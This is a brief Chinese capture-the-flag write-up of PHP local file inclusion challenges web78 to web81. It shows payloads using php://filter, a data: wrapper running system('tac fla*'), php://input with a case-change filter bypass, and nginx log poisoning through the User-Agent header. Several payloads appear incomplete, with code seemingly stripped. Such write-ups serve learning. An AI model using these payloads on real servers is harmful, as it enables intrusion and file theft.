web78
看到是get传参
因为是文件包含 所以直接想到php伪协议
构造:
?file=php://filter/convert.base64-encode/resource=flag.php
然后直接base64解码
web79

看到代码中的 **$file = str_replace("php", "???", $file);** 意思是把 file中的php改为???

利用data协议
模板:
data:text/plain,
构造:
?file=data:text/plain,= system("tac fla*");?>
web80

看到代码后发现他过滤了data协议
利用php协议的另一种用法(一般在burp中进行 浏览器中一般不成功)
?file=php://input
POST:
构造
?file=Php://input(利用大小写过滤php)
web81

看到把:给过滤了 所以data和php协议都不可以用
但可以使用日志
先访问
url+?file=/var/log/nginx/access.log
然后抓包并在UA头进行修改(只要添加)
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
然后得到flag